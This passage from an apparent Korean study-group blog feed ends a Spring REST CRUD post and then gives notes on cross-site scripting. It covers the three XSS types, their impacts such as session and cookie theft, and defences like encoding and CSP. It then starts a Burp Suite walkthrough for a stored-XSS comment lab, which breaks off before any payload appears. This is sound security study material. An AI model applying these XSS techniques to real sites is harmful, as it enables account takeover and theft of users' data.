this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;483&quot; height=&quot;291&quot; data-filename=&quot;스크린샷 2026-05-19 오전 9.50.16.png&quot; data-origin-width=&quot;1462&quot; data-origin-height=&quot;880&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;- 회원 생성&lt;/h4&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;: 삭제를 통해 2,3,4번 회원이 사라졌어도 새 회원이 생성될 때 id는 5부터 시작(id는 PK이고, DB의 자동 증가 규칙에 따름)&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;생성이므로 POST&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;Body 태그에 생성할 새 회원 정보를 적음&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;이름, 이메일, 비밀번호, 주소 등을 적어 보내면 &lt;/span&gt;@RequestBody&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;가 이를 회원 객체로 변환하여 받아들임&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-19 오전 9.40.56.png&quot; data-origin-width=&quot;1474&quot; data-origin-height=&quot;1224&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/LF676/dJMcafUcSgF/hQRucdklo1r1eC1hyTTIb1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/LF676/dJMcafUcSgF/hQRucdklo1r1eC1hyTTIb1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/LF676/dJMcafUcSgF/hQRucdklo1r1eC1hyTTIb1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLF676%2FdJMcafUcSgF%2FhQRucdklo1r1eC1hyTTIb1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;458&quot; height=&quot;380&quot; data-filename=&quot;스크린샷 2026-05-19 오전 9.40.56.png&quot; data-origin-width=&quot;1474&quot; data-origin-height=&quot;1224&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&amp;nbsp;&lt;/h4&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;- 수정&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;: 6번 회원의 정보 수정&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;데이터 수정이므로 PUT(기존 데이터 덮어쓰기)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Body태그에 덮어쓸 내용 적음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;@PutMapping&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;span&gt; ,&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;@RequestBody가 처리&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-19 오전 9.52.12.png&quot; data-origin-width=&quot;1464&quot; data-origin-height=&quot;1198&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/WGrIk/dJMcahRYwl0/7jEyx0yKmxNTIRQE1R8KkK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/WGrIk/dJMcahRYwl0/7jEyx0yKmxNTIRQE1R8KkK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/WGrIk/dJMcahRYwl0/7jEyx0yKmxNTIRQE1R8KkK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FWGrIk%2FdJMcahRYwl0%2F7jEyx0yKmxNTIRQE1R8KkK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;469&quot; height=&quot;384&quot; data-filename=&quot;스크린샷 2026-05-19 오전 9.52.12.png&quot; data-origin-width=&quot;1464&quot; data-origin-height=&quot;1198&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;- 전체 조회&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;: 현재 전체 회원 조회&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;조회이므로 GET&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Body태그 필요 없음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;@GetMapping 메서드와 매핑&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-19 오전 9.59.21.png&quot; data-origin-width=&quot;1378&quot; data-origin-height=&quot;1682&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mHSnW/dJMcaii4c2u/JtwrwAvinYAnlHKS7sPIr1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mHSnW/dJMcaii4c2u/JtwrwAvinYAnlHKS7sPIr1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mHSnW/dJMcaii4c2u/JtwrwAvinYAnlHKS7sPIr1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmHSnW%2FdJMcaii4c2u%2FJtwrwAvinYAnlHKS7sPIr1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;482&quot; height=&quot;588&quot; data-filename=&quot;스크린샷 2026-05-19 오전 9.59.21.png&quot; data-origin-width=&quot;1378&quot; data-origin-height=&quot;1682&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>SWLUG(2026)/유지보수</category>
      <author>batterygj</author>
      <guid isPermaLink="true">https://batterygj.tistory.com/78</guid>
      <comments>https://batterygj.tistory.com/78#entry78comment</comments>
      <pubDate>Tue, 19 May 2026 11:13:42 +0900</pubDate>
    </item>
    <item>
      <title>[5주차] XSS</title>
      <link>https://batterygj.tistory.com/77</link>
      <description>&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;XSS : 검증되지 않은 입력이 브라우저에서 악성 스크립트로 실행될 때 발생하는 취약점&lt;/h3&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;(Cross-Site-Scripting)&amp;nbsp;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 웹사이트가 사용자에게 악성 JavaScript를 반환하도록 조작하는 방식으로 작동&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 공격자가 스크립트 주입 -&amp;gt; 서버가 이를 반영 -&amp;gt; 사용자의 브라우저가 실행 -&amp;gt; 계정 탈취나 조작 발생&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- XSS를 테스트할 때 보통 alert() 함수 사용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(Chrome 92 이후부터는 cross-origin iframe 안에서 alert가 막혀, 대신 print() 함수를 사용하기도 함)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;공격 유형&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각 유형에 따라 전달 경로와 탐지,완화 방법 다름&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. Reflected (반사형)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. Stored (저장형)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. DOM-based (DOM형)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자는 작은 스크립트나 이벤트 핸들러를 주입해 피해자 브라우저에서 임의 자바스크립트를 실행하게 하고,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;세션, 쿠키, 폼 데이터 탈취, UI변조, 피해자 권한으로의 임의 요청 수행 등 다양한 악용 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Reflected XSS&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;: 애플리케이션이 HTTP 요청으로 받은 데이터를 안전하지 않게 즉시 응답에 포함할 때 발생&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 사용자가 수행할 수 있는 모든 동작 수행 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 사용자가 볼 수 있는 모든 정보 열람 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 사용자가 수정할 수 있는 모든 정보 변경 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 피해자를 가장한 상태로 다른 사용자와의 상호 작용 시작 가능(ex. 악성메시지 전송)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 공격을 전달하기 위해 &amp;nbsp;외부의 전달 수단(링크, 이메일, 트윗 등) 필요 -&amp;gt; 자체적으로 애플리케이션 내부에서 사용자 전체에 자동으로 퍼지는 Stored XSS보다 보통 영향도가 낮게 평가됨&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 사용자가 로그인 상태일 때 공격 가능&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;Stored XSS&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;: 애플리케이션이 신뢰할 수 없는 출처로부터 받은 데이터를 저장(ex. DB)하고, 이후의 HTTP 응답에서 그 저장된 데이터를 안전하지 않게 포함할 때 발생&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 공격자가 피해자 브라우저에서 실행되는 스크립트를 제어할 수 있다면, 그 사용자를 실질적으로 완전 장악 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 공격자가 악성코드를 애플리케이션 자체에 저장 -&amp;gt; 추가 전달 수단 없이 사용자들이 해당 페이지를 열기만 하면 자동으로 공격 실행&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 한번 저장해두면 사용자가 나중에 해당 페이지를 열어서 항상 공격에 노출됨&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;DOM based XSS&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;: 자바 스크립트가 사용자 제어 가능한 입력(source)를 받아 InnerHTML, document.write, eval() 등의 위험한 함수(sink)로 전달할 때 발생&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;+) DOM(Document Object Model): 웹 페이지의 HTML 구조를 객체 형태로 표현한 것&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 서버 응답이 아니라 클라이언트 측(JavaScript)에서만 발생&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 주로 window.location, document.cookie, localStorage 등에서 입력을 가져옴&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 반사형/저장형과 달리 서버 로그에 흔적이 남지 않음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 공격흐름&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. URL 등에서 데이터 입력&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 자바 스크립트가 그대로 DOM에 출력&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. 브라우저에서 악성 JavaScript(JS) 실행&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;XSS로 할수 있는 일&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 사용자를 사칭하거나 세션 탈취&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 사용자의 권한으로 명령 수행&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 로그인 정보 탈취&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 웹사이트 변조(Defacement)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;darr;&lt;/p&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;방어 방법&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모든 입력 -&amp;gt; 검증 -&amp;gt; 인코딩 -&amp;gt; 안전출력&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 입력 인코딩&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 출력 인코딩&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 적절한 헤더 설정&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- CSP(Content Security Policy)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;게시글/댓글 저장 기능을 이용한 Stored XSS 실습&lt;/span&gt;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. ACCESS THE LAB 클릭&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-13 오후 6.52.42.png&quot; data-origin-width=&quot;1572&quot; data-origin-height=&quot;816&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bx4zeD/dJMcacJTW45/o4xEetn7CFZJgwGmOSLzu0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bx4zeD/dJMcacJTW45/o4xEetn7CFZJgwGmOSLzu0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bx4zeD/dJMcacJTW45/o4xEetn7CFZJgwGmOSLzu0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbx4zeD%2FdJMcacJTW45%2Fo4xEetn7CFZJgwGmOSLzu0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;523&quot; height=&quot;271&quot; data-filename=&quot;스크린샷 2026-05-13 오후 6.52.42.png&quot; data-origin-width=&quot;1572&quot; data-origin-height=&quot;816&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 해당 페이지 URL 복사&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-13 오후 6.36.32.png&quot; data-origin-width=&quot;2478&quot; data-origin-height=&quot;1488&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cabLGB/dJMcafmjkLP/twmlyK4zCyqzNYptpMCsfK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cabLGB/dJMcafmjkLP/twmlyK4zCyqzNYptpMCsfK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cabLGB/dJMcafmjkLP/twmlyK4zCyqzNYptpMCsfK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcabLGB%2FdJMcafmjkLP%2FtwmlyK4zCyqzNYptpMCsfK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;502&quot; height=&quot;301&quot; data-filename=&quot;스크린샷 2026-05-13 오후 6.36.32.png&quot; data-origin-width=&quot;2478&quot; data-origin-height=&quot;1488&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. Target -&amp;gt; Scope -&amp;gt; Add 해서 복사한 URL 추가&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-13 오후 6.36.48.png&quot; data-origin-width=&quot;1710&quot; data-origin-height=&quot;820&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cCBhqh/dJMcabEbYp0/dykfma22ym71SGJNLfVieK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cCBhqh/dJMcabEbYp0/dykfma22ym71SGJNLfVieK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cCBhqh/dJMcabEbYp0/dykfma22ym71SGJNLfVieK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcCBhqh%2FdJMcabEbYp0%2Fdykfma22ym71SGJNLfVieK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;562&quot; height=&quot;269&quot; data-filename=&quot;스크린샷 2026-05-13 오후 6.36.48.png&quot; data-origin-width=&quot;1710&quot; data-origin-height=&quot;820&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. Proxy -&amp;gt; Http history, Filter settings 클릭 -&amp;gt; 아래와 같이 설정(Apply &amp;amp; Close)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-13 오후 6.38.17.png&quot; data-origin-width=&quot;2270&quot; data-origin-height=&quot;1210&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bvFlAv/dJMcaakX6ye/54Yn49xLwW36zETtDkFbI0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bvFlAv/dJMcaakX6ye/54Yn49xLwW36zETtDkFbI0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bvFlAv/dJMcaakX6ye/54Yn49xLwW36zETtDkFbI0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbvFlAv%2FdJMcaakX6ye%2F54Yn49xLwW36zETtDkFbI0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;534&quot; height=&quot;285&quot; data-filename=&quot;스크린샷 2026-05-13 오후 6.38.17.png&quot; data-origin-width=&quot;2270&quot; data-origin-height=&quot;1210&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;5. 아래로 내려서 View post 클릭&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-13 오후 6.40.02.png&quot; data-origin-width=&quot;2014&quot; data-origin-height=&quot;1342&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/TWhSq/dJMcahxFahY/MNxHaDHeejNI23YDljReG0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/TWhSq/dJMcahxFahY/MNxHaDHeejNI23YDljReG0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/TWhSq/dJMcahxFahY/MNxHaDHeejNI23YDljReG0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FTWhSq%2FdJMcahxFahY%2FMNxHaDHeejNI23YDljReG0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;524&quot; height=&quot;349&quot; data-filename=&quot;스크린샷 2026-05-13 오후 6.40.02.png&quot; data-origin-width=&quot;2014&quot; data-origin-height=&quot;1342&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;6. 하단 댓글 작성 후 intercept on 한 뒤 Post Comment 클릭&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-13 오후 6.41.15.png&quot; data-origin-width=&quot;1248&quot; data-origin-height=&quot;1270&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lytyg/dJMcaaSQiiy/Cetc52wd8BLzkVbfvDjpZ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lytyg/dJMcaaSQiiy/Cetc52wd8BLzkVbfvDjpZ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lytyg/dJMcaaSQiiy/Cetc52wd8BLzkVbfvDjpZ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Flytyg%2FdJMcaaSQiiy%2FCetc52wd8BLzkVbfvDjpZ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;387&quot; height=&quot;394&quot; data-filename=&quot;스크린샷 2026-05-13 오후 6.41.15.png&quot; data-origin-width=&quot;1248&quot; data-origin-height=&quot;1270&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;7. Comment 부분에 내가 작성한 댓글 확인 가능&lt;/p&gt;
